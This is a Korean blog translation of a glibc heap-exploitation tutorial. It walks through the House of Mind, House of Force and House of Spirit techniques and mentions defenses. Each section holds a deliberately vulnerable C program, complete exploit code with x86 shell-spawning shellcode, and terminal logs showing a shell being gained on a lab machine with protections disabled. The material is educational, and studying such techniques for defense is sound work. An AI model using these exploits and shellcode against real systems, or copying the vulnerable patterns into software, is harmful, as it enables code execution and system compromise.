티스토리 뷰

원본 URL : https://sploitfun.wordpress.com/2015/03/04/heap-overflow-using-malloc-maleficarum/


-----------------------------------------------------------------------------------------------------------------

Heap Overflow using Malloc Maleficarum


전제 조건 :

  1. Understanding glibc malloc
2004년 후반기에, 'glibc malloc'은 확립되었다. 이후, unlink와 같은 기법은 더 이상 쓸모가 없게 되고, 이 기법을 사용하는 공격자는 없다. 하지만 2005년 후반기라는 잠깐 동안의 시간 흐르고, 'Phantasmal Phatasmagoria'라는 성공적으로 heap overflow exploit이 가능한 아래와 같은 시리즈의 기법이 출현하였다.
  • House of Prime
  • House of Mind
  • House of Force
  • House of Lore
  • House of Spirit
House of Mind : 이 기법은, 공격자가 구축한 fake arena를 사용하여 'glibc malloc'를 속인다. fake arena는 unsorted bin의 fd가 free의 GOT entry - 12의 주소를 가지는 방식으로 구축된다. 그래서 이 때, 취약한 프로그램의 해제된 청크를 통해 free의 GOT entry를 쉘코드의 주소로 덮어쓴다. 성공적으로 GOT overwrite한 후, 취약한 프로그램으로부터 free가 호출되고, 최종적으로 쉘코드의 실행이 가능하게 된다.

전제 조건들 : 아래는 heap overflow 취약점을 가진 모든 프로그램이 exploit 가능한 상황에서, house of mind 기법을 무조건 적용하기 어렵다는 것을 나타내기 위한 전제 조건들이다.  


  1. 공격자에 의해 제어되는 메모리 영역에서 HEAP_MAX_SIZE 배수로 정렬하였을 때, malloc 시리즈의 호출은 청크의 주소까지 요구된다. 이는 fake heap_info 구조체에서 발견되는 메모리 영역이다. Fake heap_info의 arena 포인터 ar_ptr은 fake arena를 말한다. 그래서 양쪽의 fake arena와 fake heap_info의 메모리 집합은 공격자에 의해 제어된다.
  2. 공격자에 의해 제어되는 청크의 size 필드(및 이 청크의 arena 포인터 - 전제 조건 1)는 해제해야 한다.
  3. 위의 해제된 청크의 다음 청크는 top 청크가 되어서는 안 된다.

취약 프로그램 : 이 프로그램은 위의 전제 조건들을 만족하고 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* vuln.c
House of Mind vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
 
int main (void) {
    char *ptr = malloc(1024); /* First allocated chunk */
    char *ptr2; /* Second chunk/Last but one chunk */
    char *ptr3; /* Last chunk */
    int heap = (int)ptr & 0xFFF00000;
    _Bool found = 0;
    int i = 2;
 
    for (i = 2; i < 1024; i++) {
        /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */
        /* 0x08100000 is the place where fake heap_info structure is found. */
        if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000== (heap + 0x100000))) //[1]
        {
            printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
            found = 1;
            break;
        }
    }
    ptr3 = malloc(1024); //[2] /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */
    /* User Input. */
    fread (ptr, 1024 * 10241, stdin); //[3]
 
    free(ptr2); //[4] /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */
    free(ptr3); //[5] /* Shell code execution. */
    return(0); /* Bye */
}
cs


위의 취약 프로그램의 Heap 메모리 :


취약 프로그램 의 Line[3]은 heap overflow를 발생시켜, 사용자의 입력을 총 1MB 크기인 청크1의 메모리 포인터에 저장한다. 그래서 공격자는 heap overflow exploit 성공하기 위해, 다음 목록과 같은 순서로 사용자 입력을 한다 :

  • Fake arena
  • Junk
  • Fake heap_info
  • Shellcode
Exploit 코드(C언어) : 이 프로그램은 공격자의 데이터 파일을 생성한다 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
/* exp.c
Program to generate attacker data.
Command:
     #./exp > file
*/
#include <stdio.h>
 
#define BIN1 0xb7fd8430
 
char scode[] =
/* Shellcode to execute linux command "id". Size - 72 bytes. */
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
 
char ret_str[4= "\x00\x00\x00\x00";
 
void convert_endianess(int arg)
{
    int i=0;
    ret_str[3= (arg & 0xFF000000>> 24;
    ret_str[2= (arg & 0x00FF0000>> 16;
    ret_str[1= (arg & 0x0000FF00>> 8;
    ret_str[0= (arg & 0x000000FF>> 0;
}
int main() {
    int i=0,j=0;
 
    fwrite("\x41\x41\x41\x41"41, stdout); /* fd */
    fwrite("\x41\x41\x41\x41"41, stdout); /* bk */
    fwrite("\x41\x41\x41\x41"41, stdout); /* fd_nextsize */
    fwrite("\x41\x41\x41\x41"41, stdout); /* bk_nextsize */
    /* Fake Arena. */
    fwrite("\x00\x00\x00\x00"41, stdout); /* mutex */
    fwrite("\x01\x00\x00\x00"41, stdout); /* flag */
    for(i=0;i<10;i++)
        fwrite("\x00\x00\x00\x00"41, stdout); /* fastbinsY */
    fwrite("\xb0\x0e\x10\x08"41, stdout); /* top */
    fwrite("\x00\x00\x00\x00"41, stdout); /* last_remainder */
    for(i=0;i<127;i++) {
        convert_endianess(BIN1+(i*8));
        if(i == 119) {
            fwrite("\x00\x00\x00\x00"41, stdout); /* preserve prev_size */
            fwrite("\x09\x04\x00\x00"41, stdout); /* preserve size */
        } 
        else if(i==0) {
            fwrite("\xe8\x98\x04\x08"41, stdout); /* bins[i][0] = (GOT(free) - 12) */
            fwrite(ret_str, 41, stdout); /* bins[i][1] */
        }
        else {
            fwrite(ret_str, 41, stdout); /* bins[i][0] */
            fwrite(ret_str, 41, stdout); /* bins[i][1] */
        }
    }
    for(i=0;i<4;i++) {
        fwrite("\x00\x00\x00\x00"41, stdout); /* binmap[i] */
    }
    fwrite("\x00\x84\xfd\xb7"41, stdout); /* next */
    fwrite("\x00\x00\x00\x00"41, stdout); /* next_free */
    fwrite("\x00\x60\x0c\x00"41, stdout); /* system_mem */
    fwrite("\x00\x60\x0c\x00"41, stdout); /* max_system_mem */
    for(i=0;i<234;i++) {
        fwrite("\x41\x41\x41\x41"41, stdout); /* PAD */
    }
    for(i=0;i<722;i++) {
        if(i==721) {
            /* Chunk 724 contains the shellcode. */
            fwrite("\xeb\x18\x00\x00"41, stdout); /* prev_size  - Jmp 24 bytes */
            fwrite("\x0d\x04\x00\x00"41, stdout); /* size */
            fwrite("\x00\x00\x00\x00"41, stdout); /* fd */
            fwrite("\x00\x00\x00\x00"41, stdout); /* bk */
            fwrite("\x00\x00\x00\x00"41, stdout); /* fd_nextsize */
            fwrite("\x00\x00\x00\x00"41, stdout); /* bk_nextsize */
            fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
            "\x90\x90\x90\x90\x90\x90\x90\x90"161, stdout);  /* NOPS */
            fwrite(scode, sizeof(scode)-11, stdout); /* SHELLCODE */
            for(j=0;j<230;j++)
                fwrite("\x42\x42\x42\x42"41, stdout); /* PAD */
            continue;
        } 
        else {
            fwrite("\x00\x00\x00\x00"41, stdout); /* prev_size */
            fwrite("\x09\x04\x00\x00"41, stdout); /* size */
        }
        if(i==720) {
            for(j=0;j<90;j++)
                fwrite("\x42\x42\x42\x42"41, stdout); /* PAD */
            fwrite("\x18\xa0\x04\x08"41, stdout); /* Arena Pointer */
            for(j=0;j<165;j++)
                fwrite("\x42\x42\x42\x42"41, stdout); /* PAD */
        } 
        else {
            for(j=0;j<256;j++)
                fwrite("\x42\x42\x42\x42"41, stdout); /* PAD */
        }
    }
    return 0;
}
cs

공격자가 사용자 입력을 통해 데이터 파일을 생성하였을 경우, 취약 프로그램의 힙 메모리 : 


취약 프로그램의 line[4]가 실행될 때, 'glibc malloc'은 다음과 같이 공격자의 사용자 입력을 통해 데이터 파일을 생성한다 :

  • arena_for_chunk macro의 호출로부터 검색된 해제된 청크의 arena.
    • arena_for_chunk : 만일 NON_MAIN_ARENA(N) bit가 세트되어 있지 않다면, main arena가 리턴된다. 만일 세트가 되었다면, 해당 heap_info 구조체는 HEAP_MAX_SIZE의 배수로 청크 주소를 정렬하여 접근된다. 그 후, 획득한 heap_info 구조체의 arena 포인터가 리턴되게 된다. 현재 가정된 상황에서는, NON_MAIN_ARENA bit는 공격자에 의해 세트되고, 이로 인하여 해제된 청크의 heap_info 구조체(0x08100000)가 획득된다. 또한, 공격자는 획득한 heap_info 구조체의 arena 포인터를 fake arena로 가리키는 방법으로 덮어쓸 것이다. ie) heap_info의 ar_ptr = fake arena의 베이스 주소(ie) 0x0804a018).
  • arena 포인터와 청크의 주소를 인자로 하여 _int_free 호출. 현재 가정된 상황에서 arena 포인터는 fake arena를 가리킨다. 그래서 fake arena와 청크의 주소를 _int_free의 인자로 넘기게 된다.
    • Fake Arena : 공격자에 의해 덮어쓸 필요가 있는 fake arena의 핵심적인 필드는 다음과 같다 :
      • Mutex - unlock 상태로 설정
      • Bins - Unsorted bin의 fd는 free의 GOT entry - 12의 주소를 가져야 한다.
      • Top -
        • Top address는 해제된 청크 주소와 같아서는 안 된다.
        • Top address는 다음 청크 주소보다 커야한다.
      • System Memory - 시스템 메모리는 다음 청크의 크기보다 커야한다.
  • _int_free() : 
    • 만일 청크가 non mmap'd이라면, 제어 장치를 획득한다. 현재 가정된 상황의 청크는 non mmap'd이며, fake arena의 mutex 제어 장치가 성공적으로 획득된다.
      ※ non mmap'd : Size가 128KB 이상일 경우 mmap() 시스템 콜을 통해 할당되는데, 이것으로 할당된 청크가 아님
    • Consolidate
      • 이전 청크가 해제된 상태라면, 해제 후 통합된 경우로 검색한다. 현재 가정된 상황에서는 이전 청크가 할당되기 때문에, 역방향으로 통합할 수 없다. 
      • 다음 청크가 해제된 상태라면, 해제 후 통합된 경우로 검색한다. 현재 가정된 상황에서는 다음 청크가 할당되기 때문에, 정방향으로 통합할 수 없다.
    • unsorted bin에는 현재 해제된 청크가 배치된다. 현재 가정된 상황에서 fake arena의 unsorted bin의 fd는 'fwd' 변수에 복사된 free의 GOT entry - 12의 주소를 가지고 있다. 이 후, 해제되는 청크의 주소는 'fwd->bk'에 복사된다. bk는 malloc_chunk에서 오프셋 12에 위치하기 때문에, 12를 'fwd' 변수에 더한다. (ie) free-12+12). 그리고 이 때, free의 GOT entry는 현재 해제된 주소로 수정된다. 이후 공격자가 해제된 청크에 쉘코드를 위치시킬 경우, free에 적용된 공격자의 쉘코드는 언제든지 실행될 수 있다!!
아래에서 볼 수 있듯이 취약 프로그램은 실행되고 공격자가 생성한 데이터 파일에 의해 쉘코드가 실행된다.
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc --z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc --o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
cs


방어방법 : 현재, house of mind 기법은 'glibc malloc'이 견고해진 이후로 사용할 수 없다. 아래와 같이 house of mind를 사용한 heap overflow가 막히는 체크가 추가되었다.

  • 변조된 청크 : Unsorted bin의 첫번째 청크의 bk 포인터는 unsorted bin을 가리킨다. 그렇지 않은 경우에는 'glibc malloc'은 변조된 청크 오류를 예외처리한다. 
if(__glibc_unlikely (fwd->bk != bck))
        {
          errstr = "free(): corrupted unsorted chunks";
          goto errout;
}
cs



House of Force : 이 기법은, 공격자가 top chunk의 size를 악용하고, top 청크를 사용하여 'glibc malloc'이 힙 시스템 메모리 크기보다 훨씬 큰 메모리를 요청하도록 속인다. 그리고 새로운 malloc 요청이 만들어질 때, free의 GOT entry를 쉘코드의 주소로 덮어쓸 수 있다. 덕분에 이 후, 언제든지 free가 호출되면, 쉘코드가 실행된다!!


전제 조건들 : 아래의 목록과 같이 house of force를 성공적으로 적용하기 위해서는 3개의 malloc 호출이 요구된다.

  • Malloc 1 : 공격자는 top 청크의 size를 제어할 수 있어야 한다. 물리적으로 top 청크 이전에 위치한 할당된 청크에서 heap overflow가 가능하기 때문이다.
  • Malloc 2 : 공격자는 malloc 요청의 size를 제어할 수 있어야 한다.
  • Malloc 3 : 사용자 입력은 할당된 청크에 복사되어야 한다.
취약 프로그램 : 이 프로그램은 위의 전제 조건들을 가지고 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
House of force vulnerable program. 
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h> 
 
int main(int argc, char *argv[])
{
        char *buf1, *buf2, *buf3;
        if (argc != 4) {
                printf("Usage Error\n");
                return;
        }
        [1]buf1 = malloc(256);
        [2]strcpy(buf1, argv[1]); /* Prereq 1 */
        [3]buf2 = malloc(strtoul(argv[2], NULL16)); /* Prereq 2 */
        [4]buf3 = malloc(256); /* Prereq 3 */
        [5]strcpy(buf3, argv[3]); /* Prereq 3 */
 
        [6]free(buf3);
        free(buf2);
        free(buf1);
        return 0;
}
cs


위의 취약 프로그램의 힙 메모리 :

취약 프로그램의 Line[2]에서 heap overflow의 원인이다. 그래서 heap overflow exploit을 성공하기 위해, 공격자는 다음과 같은 command line 인자들을 사용한다 :

  • argv[1] - Shellocde + Padding + 첫 번째 malloc 청크에 복사하기 위한 Top 청크의 size
  • argv[2] - 두 번째 malloc 청크의 size 인자
  • argv[3] - 세 번째 malloc 청크에 복사하기 위한 사용자 입력

Exploit 코드(C언어) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/* Program to exploit executable 'vuln' using hof technique.
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
 
#define VULNERABLE "./vuln"
#define FREE_ADDRESS 0x08049858-0x8
#define MALLOC_SIZE "0xFFFFF744"
#define BUF3_USER_INP "\x08\xa0\x04\x08"
                
/* Spawn a shell. Size - 25 bytes. */
char scode[] =
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
        
int main( void )
{       
        int i;
        char * p;
        char argv1[ 265 ];
        char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };
        
        strcpy(argv1,scode);
        for(i=25;i<260;i++)
                argv1[i] = 'A';
        
        strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
        argv[264= ''/* Terminating NULL character */ 
 
        /* Execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return-1 );
}
cs

공격자의 command line 인자가 복사된 취약 프로그램의 힙 메모리 :

공격자의 인자는 다음과 같이 동작한다 :


Line[2] top 청크의 size를 덮어씀 :

  • 공격자의 인자(argv[1] - Shellcode + Padding + 0xFFFFFFFF)는 힙 버퍼 'buf1'로 복사된다. 그러나 argv[1]이 256보다 큰 이유로, top 청크의 size가 "0xFFFFFFFF"으로 덮어쓰여진다.

Line[3] top 청크 코드를 사용한 매우 큰 블럭 할당 :

  • 매우 큰 블럭 할당 요청의 목적은 할당 이후에 있는데, 새로운 top 청크는 free의 GOT entry 이전 8바이트에 배치되어야 한다. 그래서 다시 한번 malloc을 요청하는 것(line[4])이 free의 GOT entry를 덮어쓰는데 도움이 된다.
  • 공격자의 인자(argv[2] - 0xFFFFF744)는 두 번째 malloc 호출(line[3])의 size 인자로 전달된다. size 인자는 아래의 공식에 사용되어 계산된다 :
    • size = ((free-8)-top)
    • 어디서
      • free는 "실행가능한 'vuln' 내부의 free의 GOT entry"이다. ie) free = 0x08049858.
      • top은 "현재 top 청크 (첫 번째 malloc line[1] 이후)"이다. ie) top = 0x0804a108.
    • size = ((0x08049858 - 0x8) - 0x0804a108) = -8B8 = 0xFFFFF748
    • 아래에서 볼 수 있듯이 size = 0xFFFFF748일 때, 새로운 top 청크가 free의 GOT entry 이전 8바이트에 배치되는 목적을 달성하게 된다 :
      • (0xFFFFF748 + 0x0804a108) = 0x08049850 = (0x08049858 - 0x8)
    • 그러나 공격자가 0xFFFFF748의 size 인자를 넘길 때, 'glibc malloc'은 사용할 수 있는 크기 0xFFFFF750으로 size를 변환하여 이런 이유로 새로운 top 청크 size는 0x08049850 대신 0x08049858에 위치하게 된다. 따라서, 0xFFFFF748 대신 공격자는 size 인자로써 0xFFFFF744를 넘겨야 하며, 이 경우 원하던 크기인 '0xFFFFF748'로 변환된다.

line [4]에서 :

  • line[3] 이후로 top 청크 포인터는 0x08049850이며, 256바이트의 메모리 할당 요청은 'glibc malloc'으로 buf3에 복사된 0x08049858로 리턴하도록 만든다. 

line [5]에서 :

  • GOT overwrite의 결과로 buf3에 buf1의 주소가 복사되었다. 그래서 결과적으로 free를 호출(line[6])하면서 쉘코드를 실행하게 된다.

아래와 같이 취약 프로그램의 실행과 함께 공격자가 입력한 command line 인자를 실행하면 쉘코드가 실행되는 것을 볼 수 있다 :

sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc --z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc --o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ ./exp 
$ ls
cmd  exp  exp.c  vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ 
cs


방어 방법 : 지금까지 이 기법에 대해 방어기법이 추가되지 않았다. 그래서 이 기법은 최신 glibc로 컴파일한 경우에도 heap overflow exploit을 가능하다!!



House of Spirit: 이 기법은, 공격자가 힙 영역이 아닌 스택 영역에 존재하는 청크에 리턴하도록 'glibc malloc'을 속인다. 이를 통해 공격자는 스택에 저장된 'Return Address'를 덮어쓸 수 있다.


전제 조건 : 아래는 heap overflow 취약점을 가진 모든 프로그램이 이 기법을 사용하여 성공적으로 exploit을 하기 위한 전제 조건들이다.

  • buffer overflow를 통해 청크의 주소를 저장하고 있는 변수를 덮어 써, 'glibc malloc'으로 리턴된다.
  • 위의 청크는 free되어 있어야 한다. 공격자는 해제된 청크의 size를 제어할 수 있어야 하며, 다음 malloc 청크의 크기를 같은 size로 제어한다.
  • Malloc a chunk
  • 사용자 입력을 위의 malloc 청크에 복사해야 한다.

취약 프로그램 : 이 프로그램은 위의 전제 조건을 모두 만족하고 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/* vuln.c
House of Spirit vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void fvuln(char *str1, int age)
{
   char *ptr1, name[44];
   int local_age;
   char *ptr2;
   [1]local_age = age; /* Prereq 2 */
 
   [2]ptr1 = (char *malloc(256);
   printf("\nPTR1 = [ %p ]", ptr1);
   [3]strcpy(name, str1); /* Prereq 1 */
   printf("\nPTR1 = [ %p ]\n", ptr1);
   [4]free(ptr1); /* Prereq 2 */
 
   [5]ptr2 = (char *malloc(40); /* Prereq 3 */
   [6]snprintf(ptr2, 40-1"%s is %d years old", name, local_age); /* Prereq 4 */
   printf("\n%s\n", ptr2);
}
 
int main(int argc, char *argv[])
{
   int i=0;
   int stud_class[10];  /* Required since nextchunk size should lie in between 8 and arena's system_mem. */
   for(i=0;i<10;i++)
        [7]stud_class[i] = 10;
   if (argc == 3)
      fvuln(argv[1], 25);
   return 0;
}
cs


위의 취약 프로그램의 스택 레이아웃 :

취약 프로그램의 Line[3]은 buffer overflow가 발생하는 곳이다. 그래서 취약 프로그램을 성공적으로 exploit하기 위해서는, 공격자는 아래와 같은 command line 인자를 구성해야 한다 :

  • argv[1] = Shellcode + Stack Address + Chunk size
Exploit 코드(C언어) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* Program to exploit executable 'vuln' using hos technique.
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
 
#define VULNERABLE "./vuln"
 
/* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */
char scode[] =
        "\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";
 
int main( void )
{
        int i;
        char * p;
        char argv1[54];
        char * argv[] = { VULNERABLE, argv1, NULL };
 
        strcpy(argv1,scode);
 
        /* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */
        strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30"); 
 
        argv[53= '';
 
        /* Execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return-1 );
}
cs

위의 취약 프로그램의 스택 라이아웃과 공격자의 인자 :

공격자의 인자로 return address를 덮어쓰는 과정 : 


Line[3] : Buffer overflow

  • 여기에서 공격자가 입력한 'argv[1]'은 char buffer 'name'에 복사된다. 공격자의 입력이 44보다 큰 관계로, 변수 ptr1과 local_age는 각각 스택 주소와 청크 크기로 덮어쓰여진다. 
    • 스택 주소 - 0xbffffdf0 => 공격자는 line[5]가 실행될 때, 이 주소로 리턴하도록 'glibc malloc'을 속인다.
    • 청크 크기 - 0x30 => 이 청크의 크기는 line[4](아래에서 보이듯이) 실행될 때, 'glibc malloc'을 속이는데 사용된다. 

Line[4] : 'glibc malloc의 fast bin에 스택의 일부분을 추가

  • free()은 _int_free()를 적용한다. buffer overflow 이후, ptr1 = 0xbffffdf0 (0x0804aa08이 아님). 덮어써진 ptr1은 free()에 인자로 넘겨진다. 이것은 'gibc malloc'을 스택 영역에 위치한 메모리 일부를 해제하도록 속인다. 해제된 스택 일부의 크기는 ptr1 - 8 + 4에 배치되고, 공격자에 의해 0x30으로 덮어쓰여져 'glibc malloc'은 이 청크를 fast 청크로 처리한 후, index 4에 위치한 fast binlist의 앞부분 마지막에 해제된 청크를 삽입한다.
Line[5] : line[4]에서 추가하였던 스택의 일부분을 회수
  • 40의 malloc 요청은 checked_request2size에 의해 사용할 수 있는 크기인 48로 변환된다. 사용할 수 있는 크기 '48'은 fast 청크에 속하기 때문에, fast bin(index 4에 위치한)에 해당하여 회수된다. fast binlist의 첫번째 청크는 사용자에게 삭제되고 반환된다. 이 첫번째 청크는 아무것도 아니지만 line[4]가 실행되는 동안 스택의 일부분이 추가되었다.

Line[6] : Return Address 덮어쓰기

  • 공격자의 인자 'argv[1]'은 0xbffffd40에서 시작하는 'glibc malloc'에 의해 반환된 스택의 일부분에 복사한다. argv[1]의 맨 앞 16바이트는 
    • \xeb\x0e => Jmp 14바이트
    • \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 => Padding
    •  \xb8\xfd\xff\xbf - Return Address를 이 값에 의해 덮어쓰여진 스택에 저장한다. 이 후, fvuln이 실행될 때, EIP는 0xbffffdb8이 될 것이다. 0xbffffdb8의 위치에는 jmp 명령어가 저장되어 이를 따라 쉘코드가 실행될 것이다!!
아래처럼 공격자의 인자함께 취약 프로그램 실행하면 쉘코드가 실행되는 것을 볼 수 있다 :
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc --fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc --o exp exp.c
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ ./exp 
 
PTR1 = [ 0x804a008 ]
PTR1 = [ 0xbffffdf0 ]
 
AAAAAAAAAA����1�Ph//shh/bin��P��S�
$ ls
cmd  exp  exp.c  print    vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$
cs


방어 기법 : 현재까지, 이 비법에 대해 방어 기법이 추가되어 있지 않다. 그래서 이 기법은 최신 glibc로 컴파일한 경우에도 heap overflow exploit을 가능하다!!



House of Prime : TBU



House of Lore: TBU


NOTE : 실험을 위해서, 모든 취약 프로그램은 다음과 같은 리눅스 보안 기법없이 컴파일되었다 :

  • ASLR
  • NX
  • RELRO (ReLocation Read-Only)
Reference : 
  • The Malloc Maleficarum

------------------------------------------------------------------------------------------------------------------------------------------



'System > Linux' 카테고리의 다른 글

qira 설치 및 사용법  (0) 2016.07.31
Understanding glibc malloc 번역  (0) 2016.07.16
Position Independent Executables(PIE) 번역  (0) 2016.06.17
Memory Leak으로 얻은 주소로 offset 알아내기  (0) 2016.05.01
Heap chunk 정리  (0) 2016.04.14
댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31